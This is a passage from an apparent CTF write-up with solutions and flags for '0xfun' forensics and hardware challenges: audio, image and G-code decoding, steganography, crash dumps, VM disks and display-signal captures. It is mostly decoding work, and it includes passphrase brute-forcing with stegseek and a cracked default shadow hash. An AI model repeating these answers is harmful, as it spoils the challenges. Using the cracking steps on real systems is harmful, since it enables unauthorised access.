    (770, 1209): '4', (770, 1336): '5', (770, 1477): '6', (770, 1633): 'B',
    (852, 1209): '7', (852, 1336): '8', (852, 1477): '9', (852, 1633): 'C',
    (941, 1209): '*', (941, 1336): '0', (941, 1477): '#', (941, 1633): 'D',
}
LOW_FREQS = [697, 770, 852, 941]
HIGH_FREQS = [1209, 1336, 1477, 1633]

def goertzel_mag(samples, sample_rate, target_freq):
    n = len(samples)
    k = round(n * target_freq / sample_rate)
    w = 2 * np.pi * k / n
    coeff = 2 * np.cos(w)
    s1, s2 = 0.0, 0.0
    for s in samples:
        s0 = s + coeff * s1 - s2
        s2 = s1
        s1 = s0
    return np.sqrt(s1*s1 + s2*s2 - coeff*s1*s2) / n

sample_rate, data = wavfile.read('attachments/message.wav')
data = data.astype(np.float64)

# Find tone regions via energy threshold
chunk_size = int(sample_rate * 0.02)  # 20ms chunks
energies = [np.sqrt(np.mean(data[i:i+chunk_size]**2))
            for i in range(0, len(data) - chunk_size, chunk_size)]
threshold = max(energies) * 0.1

tone_regions = []
in_tone = False
for i, e in enumerate(energies):
    if e > threshold and not in_tone:
        in_tone, start = True, i
    elif e <= threshold and in_tone:
        in_tone = False
        tone_regions.append((start * chunk_size, i * chunk_size))

# Decode each tone region
decoded = []
for s_start, s_end in tone_regions:
    samples = data[s_start:s_end]
    best_low = max(LOW_FREQS, key=lambda f: goertzel_mag(samples, sample_rate, f))
    best_high = max(HIGH_FREQS, key=lambda f: goertzel_mag(samples, sample_rate, f))
    decoded.append(DTMF_TABLE.get((best_low, best_high), '?'))

binary_str = ''.join(decoded)

# Binary -> ASCII -> Base64 decode
import base64
ascii_str = ''.join(chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8))
b64_decoded = base64.b64decode(ascii_str).decode()

# Vigenere decrypt with key from WAV metadata comment
key = 'uhmwhatisthis'
result = []
ki = 0
for c in b64_decoded:
    if c.isalpha():
        base = ord('a') if c.islower() else ord('A')
        k = ord(key[ki % len(key)].lower()) - ord('a')
        result.append(chr((ord(c) - base - k) % 26 + base))
        ki += 1
    else:
        result.append(c)

print(''.join(result))  # 0xfun{Mu1t1_t4p_plu5_dtmf}
```

**Flag:** `0xfun{Mu1t1_t4p_plu5_dtmf}`

### Nothing Expected

#### Description

A PNG image of a spy character with the text "nothing to see here, move along" is provided. The challenge hints that there's nothing in the drawing — but something is hidden.

#### Solution

The PNG contains a large `tEXt` chunk with the keyword `application/vnd.excalidraw+json`, embedding the full Excalidraw project data (compressed with zlib). Excalidraw is a collaborative drawing tool that stores vector data as JSON.

Extracting and decompressing this data reveals 42 `freedraw` elements positioned at x-coordinates 301–1452, far beyond the PNG's 584px width. These hidden strokes are invisible in the exported image but still present in the source data.

Rendering these freedraw paths reveals the flag written in handwriting.

```python
import json, struct, zlib
from PIL import Image, ImageDraw

# Extract tEXt chunk from PNG
data = open("work/Nothing_Expected/file.png", "rb").read()
offset = 36973  # tEXt chunk offset
length = struct.unpack(">I", data[offset:offset+4])[0]
chunk_data = data[offset+8:offset+8+length]
null_idx = chunk_data.index(0)
text = chunk_data[null_idx+1:]

# Parse wrapper and decompress encoded Excalidraw data
enc_start = text.find(b'"encoded":"') + len(b'"encoded":"')
enc_end = text.rfind(b'"')
raw_encoded = text[enc_start:enc_end]
decoded_str = json.loads(b'"' + raw_encoded + b'"')
decompressed = zlib.decompress(decoded_str.encode("latin-1"))
excalidraw = json.loads(decompressed)

# Render freedraw elements that extend beyond the visible canvas
freedraws = [el for el in excalidraw["elements"] if el["type"] == "freedraw"]
min_x = min(el["x"] + min(p[0] for p in el["points"]) for el in freedraws)
max_x = max(el["x"] + max(p[0] for p in el["points"]) for el in freedraws)
min_y = min(el["y"] + min(p[1] for p in el["points"]) for el in freedraws)
max_y = max(el["y"] + max(p[1] for p in el["points"]) for el in freedraws)

margin = 20
w, h = int(max_x - min_x + 2*margin), int(max_y - min_y + 2*margin)
img = Image.new("RGB", (w, h), "white")
draw = ImageDraw.Draw(img)

for el in freedraws:
    pts = [(el["x"] + p[0] - min_x + margin, el["y"] + p[1] - min_y + margin) for p in el["points"]]
    if len(pts) >= 2:
        draw.line(pts, fill="black", width=3)

img.save("hidden_drawing.png")
```

The rendered image reveals the handwritten flag: `0xfun{th3_sw0rd_0f_k1ng_4rthur}`

**Flag:** `0xfun{th3_sw0rd_0f_k1ng_4rthur}`

### kd

#### Description

**Category:** Forensic | **Points:** 445 | **Solves:** 12

> something crashed. something was left behind.

Provided files: `kd.zip` containing `crypter.dmp` (Windows minidump), `config.dat`, `transcript.enc`, and `events.xml`.

#### Solution

The challenge provides a Windows minidump crash report from a `CrypterService` process (PID 15948), along with encrypted files and event logs. The title "kd" references the Windows kernel debugger.

**Analysis of the dump:**

The minidump is from `crypter.exe`, a Go-based encryption service. Using `file` confirms it's a Mini DuMP crash report. The `events.xml` shows the service performing key negotiations, rotations, and derivations before crashing with `APPCRASH` (exception code `c0000005` - access violation).

The config in memory reveals:

* Algorithm: AES-256-CBC
* KeyDerivation: SHA256
* KeyShards: 2

**Finding the flag:**

The key insight is that "something was left behind" in the crash dump's memory. The process had the flag loaded as a string constant in its binary/data section. Searching for the magic marker string `N!L?BRRR_v3_CTF` (found via `strings`) across all memory reveals multiple instances. At one location (offset `0x1640DF08` in the raw dump), the flag appears as a plaintext string immediately before the marker:

```python
with open('kd/crypter.dmp', 'rb') as f:
    data = f.read()

magic = b'N!L?BRRR_v3_CTF'
idx = 0
while True:
    idx = data.find(magic, idx)
    if idx == -1:
        break
    # Check 96 bytes before each occurrence for readable strings
    before = data[max(0, idx - 96):idx]
    ascii_str = ''.join(chr(b) if 32 <= b < 127 else '' for b in before)
    if '0xfun{' in ascii_str:
        # Extract the flag
        start = before.find(b'0xfun{')
        end = before.find(b'}', start) + 1
        print(before[start:end].decode())
        break
    idx += 1
```

The flag was stored as a string constant in `crypter.exe`'s data section, surviving the crash and persisting in the minidump memory.

**Flag:** `0xfun{wh0_n33ds_sl33p_wh3n_y0u_h4v3_cr4sh_dumps}`

### PrintedParts

#### Description

A friend of mine 3D printed something interesting.

We are given a G-code file (`3D.gcode`) generated by Cura for an Ultimaker S5 printer. The mesh is named `flag.stl`.

#### Solution

The G-code file contains 773 layers of 3D printer instructions. The flag is embossed as raised 3D text on the front surface of a monkey head model (Blender's Suzanne).

**Approach: Visualize the G-code toolpath from the front (side view)**

By parsing G1/G0 extrusion commands and plotting X position vs Z (layer number), filtered to only include segments with Y coordinates in the front-face range (Y=100-140), the embossed text becomes visible as a "side view" projection.

The text wraps around the curved face, so it appears at a diagonal angle. Different Y-range filters reveal different portions of the text as it curves around the surface.

```python
#!/usr/bin/env python3
"""Visualize G-code side view to reveal flag text embossed on 3D model."""
import re
import numpy as np
from PIL import Image
from collections import defaultdict

gcode_file = "attachments/3D.gcode"

# Parse G-code - track extrusion segments per layer
layers = defaultdict(list)
current_layer = -1
current_x, current_y = 0, 0
prev_x, prev_y = 0, 0

with open(gcode_file) as f:
    for line in f:
        line = line.strip()
        if line.startswith(";LAYER:"):
            current_layer = int(line.split(":")[1])
            continue
        if current_layer < 0:
            continue
        if line.startswith("G0 ") or line.startswith("G1 "):
            is_extrude = line.startswith("G1") and "E" in line
            x_match = re.search(r'X([-\d.]+)', line)
            y_match = re.search(r'Y([-\d.]+)', line)
            prev_x, prev_y = current_x, current_y
            if x_match:
                current_x = float(x_match.group(1))
            if y_match:
                current_y = float(y_match.group(1))
            if is_extrude:
                layers[current_layer].append(((prev_x, prev_y), (current_x, current_y)))

# Render side view (X vs Z) filtered to front face Y range
scale = 8
x_min, x_max = 75, 265
width = int((x_max - x_min) * scale)
z_min_l, z_max_l = 380, 660
height = z_max_l - z_min_l

# Y filter range captures front face where text is embossed
y_lo, y_hi = 100, 140
img = np.ones((height, width), dtype=np.uint8) * 255

for layer_num in range(z_min_l, z_max_l):
    if layer_num not in layers:
        continue
    row = z_max_l - 1 - layer_num
    for (x1, y1), (x2, y2) in layers[layer_num]:
        if y_lo <= y1 <= y_hi and y_lo <= y2 <= y_hi:
            px1 = int((x1 - x_min) * scale)
            px2 = int((x2 - x_min) * scale)
            px1 = max(0, min(width - 1, px1))
            px2 = max(0, min(width - 1, px2))
            if 0 <= row < height:
                img[row, min(px1, px2):max(px1, px2) + 1] = 0

Image.fromarray(img).save("flag_text.png")
```

The resulting image clearly shows the text `0xfun{this_monkey_has_a_flag}` embossed diagonally on the front of Blender's Suzanne monkey head.

**Flag:** `0xfun{this_monkey_has_a_flag}`

### Ghost

#### Description

The interception of a transmission has occurred, with only a network capture remaining. Recover the flag before the trail goes cold.

Attachment: `wallpaper.png`

#### Solution

Multi-layer forensics: image steganography (appended archive) + visual password from SSTV-decoded image content.

**Step 1: Detect hidden data in wallpaper.png**

The PNG has trailer data after the IEND chunk. `zsteg` reveals a 7-zip archive appended to the image:

```bash
zsteg wallpaper.png
# extradata:0 .. file: 7-zip archive data, version 0.4
```

The image itself displays text from an SSTV-decoded signal: `1n73rc3p7_cOnf1rm3d` (leetspeak for "intercept\_confirmed").

**Step 2: Extract the 7z archive**

```python
with open('wallpaper.png', 'rb') as f:
    data = f.read()
    iend_pos = data.find(b'IEND')
    end_of_png = iend_pos + 8  # IEND type (4) + CRC (4)
    with open('extracted.7z', 'wb') as out:
        out.write(data[end_of_png:])
```

This yields a 235-byte 7z archive containing `fishwithwater/nothing.txt` (27 bytes), encrypted with 7zAES.

**Step 3: Determine the password**

The password is the leetspeak text visible in the image with consistent digit substitutions (i→1, t→7, e→3, o→0):

```
1n73rc3p7_c0nf1rm3d
```

Note: The image displays `cO` which appears as uppercase O, but the correct password uses `0` (zero) for consistent leetspeak substitution.

**Step 4: Extract the flag**

```bash
7z x -p"1n73rc3p7_c0nf1rm3d" extracted.7z
cat fishwithwater/nothing.txt
# 0xfun{l4y3r_pr0t3c710n_k3y}
```

**Flag:** `0xfun{l4y3r_pr0t3c710n_k3y}`

### Melodie

#### Description

A kid taps out 1337 drums, thinking it's nothing more than a noisy rhythm. Observers notice the pattern matches a strange signal they've been monitoring for weeks. What began as play suddenly becomes the key to a mystery none of them expected.

**Category:** Forensic | **Points:** 750

#### Solution

The challenge provides a WAV audio file (`Drums/Melodie.wav`) — a mono 16-bit PCM file at 44100 Hz, \~111 seconds long.

**Step 1: SSTV Red Herring**

The audio contains an SSTV (Slow Scan Television) signal in Scottie 1 mode, detectable by its frequency content in the 1200–2300 Hz range. Decoding it reveals a cartoon character with the text **"SEEMS LIKE A DEADEND"** — a deliberate decoy.

```bash
python3 -m sstv -d Drums/Melodie.wav -o sstv_output.png
```

**Step 2: LSB Steganography**

The actual flag is hidden using **2-bit LSB audio steganography** in the WAV file's raw sample data. Using `stegolsb` (the `stego-lsb` Python package) to extract data from the 2 least significant bits of each audio sample reveals the flag at offset 0:

```bash
pip install stego-lsb
stegolsb wavsteg -r -i Drums/Melodie.wav -o extracted.bin -n 2 -b 614000
```

```python
with open('extracted.bin', 'rb') as f:
    data = f.read()
idx = data.find(b'0xfun')
print(data[idx:idx+50])
# b'0xfun{8f2b5c9d4f6a1eab3e0c4df52b79d8c1}\r\n'
```

The SSTV signal served as misdirection — the "strange signal" that observers would focus on, while the real data was embedded in the LSBs of the audio samples all along.

**Flag:** `0xfun{8f2b5c9d4f6a1eab3e0c4df52b79d8c1}`

### Tesla

#### Description

A Flipper `.sub` capture contains a single `RAW_Data` stream with binary-looking payload and mixed UTF-16/noise-like bytes. The task was to recover the hidden flag from this forensic dump.

#### Solution

1. Decode `RAW_Data` binary tokens to raw bytes.

```bash
perl -ne 'if(/RAW_Data:/){while(/([01]{8})/g){print pack("B8", $1)}}' attachments/Tesla.sub > /tmp/tesla_payload.bin
```

2. The payload is mostly UTF-8/ASCII with high-bit noise bytes. Remove bytes `0x80-0xFF`.

```bash
perl -e 'open my $f,"<", "/tmp/tesla_payload.bin" or die $!; binmode $f; local $/; my $d=<$f>; $d =~ s/[\x80-\xFF]//g; print $d;' > decoded.bat
```

3. Expand `%Ilc:~n,1%` using the first line variable and strip obfuscating `%...%` placeholders to get the true script text.

```bash
cat decoded.bat | perl -ne '
    if(/Ilc=(.*)"/){$var=$1; next}
    if(defined $var){
        s/%Ilc:~(\d+),1%/substr($var,$1,1)/ge;
        s/%[^%]+%//g;
        print;
    }
'
```

This yields:

```bat
@echo off
powershell -NoProfile -Command "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('i could be something to this'))"
:: 5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e :
:: ive been encrypted many in ways::
pause
```

4. The challenge hint text is `i could be something to this` and the hex blob is the encrypted flag. XOR the blob with this UTF-8 string.

```bash
hex="5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e"
key="i could be something to this"
perl -e '
    my $hex = "5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e";
    my $key = "i could be something to this";
    my @kb = map { ord($_) } split //, $key;
    my $i = 0;
    my $out = "";
    for my $byte ( $hex =~ /../g ) {
        my $x = hex($byte) ^ $kb[$i++ % scalar(@kb)];
        $out .= chr($x);
    }
    print $out;
'
```

Recovered flag:

```
0xfun{d30bfU5c473_x0r3d_w1th_k3y}
```

### Bard

#### Description

The Simpsons is an old show, and Bard comes across as a bit strange.

Attachment: `Bart.jpg`

#### Solution

1. **Steghide extraction**: The hint "a bit strange" suggests steganography. Used `stegseek` to brute-force the steghide passphrase on `Bart.jpg`, finding passphrase `simple` and extracting `bits.txt` containing a URL:

```bash
stegseek attachments/Bart.jpg
# Passphrase: "simple", extracted file: bits.txt
# Content: https://cybersharing.net/s/86180ebc480657ad
```

2. **Download from Cybersharing**: The URL pointed to a file sharing service hosting a file called `bits.txt` (460 KB) containing base64-encoded data.
3. **Decode base64**: Decoding the base64 revealed a corrupted PNG file — the 8-byte PNG signature and 4-byte IHDR chunk type were zeroed out, but the rest of the structure (IDAT chunks, dimensions, etc.) was intact.

```python
import struct, zlib

data = open("bits.txt", "rb").read()
decoded = __import__('base64').b64decode(data)

fixed = bytearray(decoded)
fixed[0:8] = b'\x89PNG\r\n\x1a\n'   # Restore PNG signature
fixed[12:16] = b'IHDR'               # Restore IHDR chunk type

# Recalculate IHDR CRC
ihdr_crc = zlib.crc32(fixed[12:29]) & 0xffffffff
struct.pack_into('>I', fixed, 29, ihdr_crc)

open("bits_fixed.png", "wb").write(bytes(fixed))
```

4. **View the image**: The restored PNG (698x527) shows Bart Simpson writing the flag on a chalkboard.

**Flag:** `0xfun{secret_image_found!}`

### VMware

#### Description

I forgotten the password of my kali linux.

A VMware virtual machine image (Kali Linux 2025.4) is provided as a 5.5GB zip file containing a split sparse VMDK with 41 extents (\~80GB virtual disk).

#### Solution

The challenge provides a VMware VM of Kali Linux. The VMX annotation hints at `Username: kali / Password: ****`. While the `/etc/shadow` hash for user `kali` does crack to the default password `"kali"`, the actual flag is a hidden file `/.flag.txt` in the root of the ext4 filesystem.

**Step 1: Download VM files from Cybersharing**

The download link uses Cybersharing, a file-sharing platform with a JS SPA frontend. The API endpoint for downloading individual files from a zip archive is:

```
/api/download/compressed-file/{containerId}/{uploadId}/{signature}/{path}
```

Container metadata was retrieved via:

```bash
curl -s -X POST "https://cybersharing.net/api/containers/f022597d4e02d9e4" \
  -H "Content-Type: application/json" -d '{}'
```

**Step 2: Examine VMX configuration**

The `.vmx` file reveals the VM annotation:

```
Username: kali
Password: ****
```

**Step 3: Parse the split sparse VMDK**

Each `.vmdk` extent uses VMware's sparse VMDK format (magic `KDMV`). The format has:

* A grain directory (GD) pointing to grain tables (GT)
* Grain tables pointing to 64KB grain data blocks
* Unallocated grains represent zero-filled regions

The descriptor file references 41 extents, each covering 4,194,304 sectors (2GB) of virtual disk space.

**Step 4: Extract ext4 filesystem structure**

Using the Python `ext4` library on a raw image extracted from the first VMDK extent:

```python
import ext4

with open('s001_part_clean.img', 'rb') as f:
    vol = ext4.Volume(f, offset=0)
    root = vol.root
    for entry, ft in root.opendir():
        print(f"  {entry.name_str} (inode {entry.inode})")
```

This revealed a hidden file `/.flag.txt` (inode 24, 41 bytes) in the root directory.

**Step 5: Locate and read the flag data**

The file's extent tree showed data at ext4 block 8,356,390, which translates to:

* Disk offset: 34,228,822,016 bytes (partition start + block \* 4096)
* VMDK extent: s016 (extent index 15, covering bytes 32-34 GB of virtual disk)

```python
import struct

# Parse sparse VMDK to find grain containing the target sector
local_sector = 3938608  # sector within extent s016
grain_index = local_sector // 128  # grain size = 128 sectors
gd_entry = grain_index // 512
gt_entry = grain_index % 512

with open('kali-linux-2025.4-vmware-amd64-s016.vmdk', 'rb') as f:
    # Read GD offset from header (at byte offset 76)
    f.seek(76)
    gd_offset = struct.unpack('<Q', f.read(8))[0]

    # Read grain table offset from GD
    f.seek(gd_offset * 512 + gd_entry * 4)
    gt_offset = struct.unpack('<I', f.read(4))[0]

    # Read grain offset from GT
    f.seek(gt_offset * 512 + gt_entry * 4)
    grain_offset = struct.unpack('<I', f.read(4))[0]

    # Read the data
    sector_in_grain = local_sector % 128
    f.seek(grain_offset * 512 + sector_in_grain * 512)
    data = f.read(41)
    print(data.decode())  # 0xfun{w1th0ut_p2ssw0rd_1s_cr4zy_a2_h3ll}
```

**Flag:** `0xfun{w1th0ut_p2ssw0rd_1s_cr4zy_a2_h3ll}`

### 11 Lines of Contact

#### Description

A mono WAV audio file (`record.wav`) and a cover image (`cover.png`) are provided. The cover shows "THE NOT-RANDOM RECORD" styled as a vinyl record with track listings: STATIC, SIGNAL, CALIBRATION, NOISE, ORDER. The challenge hints at "something humanity would send when it wanted to be understood without sharing a language."

#### Solution

The challenge is based on the **Voyager Golden Record** image encoding scheme. NASA's Voyager probes carried gold-plated records with images encoded as audio waveforms, where each scan line of an image was represented as amplitude values between sync pulses.

**Analysis of the WAV file:**

* 48kHz sample rate, 16-bit mono, \~11.59 seconds
* The waveform contains sharp negative sync pulses at \~125 Hz (every 384 samples / 8ms)
* Between sync pulses, amplitude values encode pixel brightness for one scan line

**Decoding process:**

1. Detect sync pulses (negative spikes below -25000)
2. Extract amplitude data between consecutive pulses as scan lines
3. Resample each line to a fixed width (384 pixels)
4. Map amplitude to brightness and stack lines into an image

The decoded 384x1022 image reveals:

* "CALIBRATION" header with a calibration circle (matching the Voyager record's test image)
* "0xfun :: SIGNALS"
* The flag: `0xfun{g0ld3n_r3c0rd_1s_n0t_r4nd0m}`
* "nothing here is truly random"

```python
import numpy as np
from scipy.io import wavfile
from scipy.signal import find_peaks
from PIL import Image

rate, data = wavfile.read('attachments/Lines of Contact/record.wav')
data = data.astype(float)

# Find sync pulses (sharp negative spikes)
peaks, _ = find_peaks(-data, height=25000, distance=200)

# Extract scan lines between consecutive pulses
width = 384
lines = []
for i in range(len(peaks) - 1):
    start = peaks[i] + 5
    end = peaks[i + 1] - 5
    line = data[start:end]
    if len(line) > 500 or len(line) < 10:
        continue
    indices = np.linspace(0, len(line) - 1, width).astype(int)
    lines.append(line[indices])

img_data = np.array(lines)
img_data = ((img_data - img_data.min()) / (img_data.max() - img_data.min()) * 255).astype(np.uint8)
Image.fromarray(img_data).save('decoded.png')
```

**Flag:** `0xfun{g0ld3n_r3c0rd_1s_n0t_r4nd0m}`

### Pixel Rehab

#### Description

Our design intern "repaired" a broken image and handed us the result, claiming the important part is still in there. All we know is the original came from a compressed archive, and something about the recovery feels suspicious. Find what was actually archived and submit the flag.

#### Solution

We're given `pixel.fun`, a file that looks like a PNG but has a corrupted first byte (`0x88` instead of `0x89`).

**Step 1: Fix the PNG and analyze the image**

Fixing the first byte reveals a 1000x650 PNG showing a "Pixel Rehab Clinic" card with a decoy flag `0xfun{almo5t_th3re}` and the text "(looks legit, right?)" — a clear red herring.

**Step 2: Find the hidden 7z archive after IEND**

After the PNG's IEND chunk, there are 1188 bytes of trailing data. The first 6 bytes are `89 50 4E 47 0D 0A` (PNG signature), but replacing them with the 7z magic bytes `37 7A BC AF 27 1C` produces a valid 7z archive.

**Step 3: Extract the archive**

The 7z contains `real_flag.png` (actually a WEBP file) showing a QR code (rickroll decoy) with the real flag text at the bottom:

`0xfun{FuN_PN9_f1Le_7z}`

```python
#!/usr/bin/env python3
"""Pixel Rehab solver - extract hidden 7z from after PNG IEND chunk"""

data = open('attachments/pixel.fun', 'rb').read()

# Fix PNG first byte to parse correctly
fixed = b'\x89' + data[1:]

# Find IEND chunk
iend_pos = fixed.find(b'IEND')
after_iend = fixed[iend_pos + 8:]  # Skip IEND type (4) + CRC (4)

# Replace first 6 bytes (PNG sig overlay) with 7z signature
sevenz_sig = b'\x37\x7a\xbc\xaf\x27\x1c'
archive = sevenz_sig + after_iend[6:]

with open('hidden.7z', 'wb') as f:
    f.write(archive)

print(f"Extracted 7z archive: {len(archive)} bytes")
print("Run: 7z x hidden.7z")
print("Flag is in the text at the bottom of real_flag.png (WEBP image)")
# Flag: 0xfun{FuN_PN9_f1Le_7z}
```

The flag name cleverly references the solution: a fu**N** P**N**~~G~~**9** (not-quite-PNG) **f1Le** hidden in a **7z** archive.

***

## hardware

### Analog Nostalgia

#### Description

We are given `attachments/signal.bin`, described as one digitized VGA frame from a 640x480 output.

`signal.bin` is not only raw pixel data:

* It starts with ASCII: `check trailer. for hint.\n` (25 bytes).
* It ends with a ZIP trailer (`trailer.zip`) that contains `hint.txt`.
* The middle section is exactly one 800x525 VGA timing frame with 5 bytes per sample: `R, G, B, HSYNC, VSYNC`.

This size check matches perfectly:

* `800 * 525 = 420000` samples
* `420000 * 5 = 2100000` bytes

#### Solution

Decode the first full VGA frame payload, reshape to `(525, 800, 5)`, convert RGB from 6-bit (0..63) to 8-bit (0..255), then render:

* visible area `640x480` (`frame.png`)
* full timing area `800x525` (`frame_full_800x525.png`)

The rendered meme text contains the flag in the bottom caption: `0XFUN{AN4LOG_IS_NOT_D3AD_JUST_BL4NKING}`

Accepted flag: `0XFUN{AN4LOG_IS_NOT_D3AD_JUST_BL4NKING}`

Full solution code:

```python
#!/usr/bin/env python3
from pathlib import Path

import numpy as np
from PIL import Image

MARKER = b"check trailer. for hint.\n"
WIDTH_TOTAL = 800
HEIGHT_TOTAL = 525
WIDTH_ACTIVE = 640
HEIGHT_ACTIVE = 480
BYTES_PER_SAMPLE = 5  # R, G, B, HSYNC, VSYNC (all 8-bit in this capture)


def main() -> None:
    blob = Path("attachments/signal.bin").read_bytes()

    if not blob.startswith(MARKER):
        raise ValueError("Unexpected file prefix")

    payload = blob[len(MARKER) :]
    frame_bytes = WIDTH_TOTAL * HEIGHT_TOTAL * BYTES_PER_SAMPLE
    frame_raw = payload[:frame_bytes]
    if len(frame_raw) != frame_bytes:
        raise ValueError("Unexpected frame size")

    frame = np.frombuffer(frame_raw, dtype=np.uint8).reshape(
        HEIGHT_TOTAL, WIDTH_TOTAL, BYTES_PER_SAMPLE
    )

    # VGA channels are stored as 6-bit values (0..63). Expand to 8-bit.
    rgb_full = (frame[:, :, :3].astype(np.uint16) * 255 // 63).astype(np.uint8)
    rgb_active = rgb_full[:HEIGHT_ACTIVE, :WIDTH_ACTIVE]

    Image.fromarray(rgb_active, "RGB").save("frame.png")
    Image.fromarray(rgb_full, "RGB").save("frame_full_800x525.png")

    print("Saved frame.png and frame_full_800x525.png")
    print("Read from rendered frame:")
    print("0XFUN{AN4LOG_IS_NOT_D3AD_JUST_BL4NKING}")


if __name__ == "__main__":
    main()
```

### Digital Transition

#### Description

We intercepted a raw signal capture from an HDMI display adapter. The data appears to be a single digitized frame from a 640x480 HDMI output. We are given `signal.bin` (1,680,216 bytes).

#### Solution

The file size is approximately `800 * 525 * 4 = 1,680,000` bytes, which matches the total pixel count (including blanking) for a standard 640x480 VGA/HDMI signal (800 total horizontal pixels, 525 total vertical lines), with 4 bytes per pixel clock cycle.

The first 16 bytes are a header (`"check end."` + padding). The remaining data consists of 4-byte groups, one per pixel clock. Each 32-bit word (little-endian) packs three 10-bit TMDS (Transition-Minimized Differential Signaling) encoded channels:

* Bits 9:0 = Channel 0 (Blue)
* Bits 19:10 = Channel 1 (Green)
* Bits 29:20 = Channel 2 (Red)
* Bits 31:30 = unused

TMDS encoding (used in HDMI/DVI) encodes 8-bit pixel values into 10-bit symbols for DC balance and transition minimization. Decoding reverses this:

1. Bit 9 is the inversion flag - if set, XOR bits 7:0 with 0xFF
2. Bit 8 selects XOR vs XNOR mode for the transition chain
3. Reconstruct the original 8-bit value by reversing the XOR/XNOR chain from bit 0 upward

After decoding all pixels and rendering as an 800x525 image, the active 640x480 region shows a Kirby game cover image with the flag overlaid as text.

**Flag:** `0xfun{TMDS_D3CODED_LIKE_A_PRO}`

```python
from PIL import Image
import struct

def tmds_decode(symbol_10bit):
    """Decode a 10-bit TMDS symbol to 8-bit data value."""
    bit9 = (symbol_10bit >> 9) & 1  # inversion flag
    bit8 = (symbol_10bit >> 8) & 1  # XOR/XNOR mode flag
    qm = symbol_10bit & 0xFF
    if bit9:
        qm = qm ^ 0xFF
    d = [0] * 8
    d[0] = qm & 1
    for i in range(1, 8):
        if bit8:  # XOR mode
            d[i] = ((qm >> i) & 1) ^ ((qm >> (i-1)) & 1)
        else:     # XNOR mode
            d[i] = ((qm >> i) & 1) ^ ((qm >> (i-1)) & 1) ^ 1
    result = 0
    for i in range(8):
        result |= (d[i] << i)
    return result

data = open('attachments/signal.bin', 'rb').read()
data = data[16:]  # skip "check end." header

width, height = 800, 525
img = Image.new('RGB', (width, height))
pixels = img.load()

for y in range(height):
    for x in range(width):
        offset = (y * width + x) * 4
        if offset + 3 >= len(data):
            break
        word = struct.unpack_from('<I', data, offset)[0]
        ch0 = word & 0x3FF          # Blue  (bits 9:0)
        ch1 = (word >> 10) & 0x3FF  # Green (bits 19:10)
        ch2 = (word >> 20) & 0x3FF  # Red   (bits 29:20)
        blue = tmds_decode(ch0)
        green = tmds_decode(ch1)
        red = tmds_decode(ch2)
        pixels[x, y] = (red, green, blue)

# Crop to active video area (skip blanking)
active = img.crop((0, 35, 640, 515))
active.save('output.png')
```

### Packet Stream

#### Description

We intercepted a raw signal capture from a DisplayPort display adapter. The data appears to be a single digitized frame from a 640x480 DisplayPort output.

Goal: recover the frame and read the flag.

#### Solution

`attachments/signal.bin` is a ZIP file with a large prefix. The ZIP is a decoy (it contains the same `hint.txt` as the repo). The real capture is the **2,100,020-byte prefix** before `PK\x03\x04`.

1. **Parse the prefix and treat it as a DP-like bitstream**

* Prefix begins with `dp_signal\xc0check_end\xc0` (20 bytes).
* Remaining payload is exactly `2,100,000` bytes.
* Interpret the payload as a stream of bits:
  * unpack bits **little-endian within each byte**
  * group into consecutive 10-bit code-groups

This gives `2,100,000*8/10 = 1,680,000` 10-bit symbols.

2. **8b/10b decode**

Decode each 10-bit symbol into `(ctrl, byte)` using an 8b/10b decoder (`encdec8b10b`).

3. **Reshape into a “frame” grid**

Reshape decoded bytes time-major as:

* `525` rows
* `800` columns
* `4` lanes (bytes per time slot)

So: `(525, 800, 4)`.

This produces consistent repeating control patterns, matching a link-layer transport.

4. **Find active video and where pixel payload starts**

Rows where the number of “control columns” equals 19 form the active region:

* active rows are `35..514` inclusive → `480` rows.

Columns repeat in blocks (“Transfer Units”) of 64 columns:

* per TU: 60 data columns + 4 overhead columns
* 8 TUs per line → `8*60 = 480` data “ticks” per line
* each tick has 4 lane bytes → `480*4 = 1920 bytes` per line = `640*3` RGB bytes

In the capture, the first TU marker is a control byte `0xFB` at column 284, so the payload begins at column `288`.

5. **Descramble (the crucial step)**

The extracted pixels are still scrambled. Apply a DisplayPort-style self-synchronizing scrambler:

* Use a 16-bit LFSR, initial state `0xFFFF`
* Reset state to `0xFFFF` when encountering **SR** (control byte `0x1C`, K28.0)
* For each **data** byte (control excluded), generate an 8-bit mask from the LFSR and XOR it with all four lane bytes at that time slot

The variant that works for this capture:

* right shift
* feedback polynomial equivalent to `x^16 + x^5 + x^4 + x^3 + 1` (taps at bit positions 0,3,4,5)
* output bit = bit15 (MSB) before shifting
* pack mask bits MSB-first into each byte

6. **Extract and render the image**

For each active row:

* for `blk=0..7`, take columns `[288 + blk*64 : 288 + blk*64 + 60]` (60 columns)
* concatenate the 8 blocks → 480 ticks
* flatten lanes per tick → 1920 bytes
* reshape 480 lines of 1920 bytes into `480×640×3` RGB

The resulting image contains the flag:

`0xfun{8B10B_M1CR0_PACK3T_M4STER}`

**Full solution code**

```python
#!/usr/bin/env python3
import numpy as np
from pathlib import Path
from PIL import Image


def lfsr_mask_byte(state: int) -> tuple[int, int]:
    """
    DisplayPort-style 16-bit self-synchronizing scrambler variant that works here:
      - right-shift LFSR
      - feedback taps correspond to x^16 + x^5 + x^4 + x^3 + 1  (bit0,3,4,5)
      - output bit = bit15 (MSB) BEFORE shift
      - pack output bits MSB-first into each mask byte

    Returns: (new_state, mask_byte)
    """
    mask = 0
    for i in range(8):
        out_bit = (state >> 15) & 1
        fb = ((state >> 0) ^ (state >> 3) ^ (state >> 4) ^ (state >> 5)) & 1
        state = (state >> 1) | (fb << 15)
        mask |= out_bit << (7 - i)
    return state, mask


def main() -> None:
    blob = Path("attachments/signal.bin").read_bytes()
    zip_off = blob.find(b"PK\x03\x04")
    if zip_off < 0:
        raise SystemExit("Could not locate embedded ZIP (PK\\x03\\x04).")

    prefix = blob[:zip_off]
    if not prefix.startswith(b"dp_signal") or len(prefix) != 2_100_020:
        raise SystemExit(f"Unexpected prefix header/length: starts={prefix[:16]!r} len={len(prefix)}")

    payload = prefix[20:]  # 2,100,000 bytes
    if len(payload) != 2_100_000:
        raise SystemExit(f"Unexpected payload length: {len(payload)}")

    # Bytes -> bitstream (little-endian within each byte) -> 10-bit words.
    b = np.frombuffer(payload, dtype=np.uint8)
    bits = np.unpackbits(b, bitorder="little")
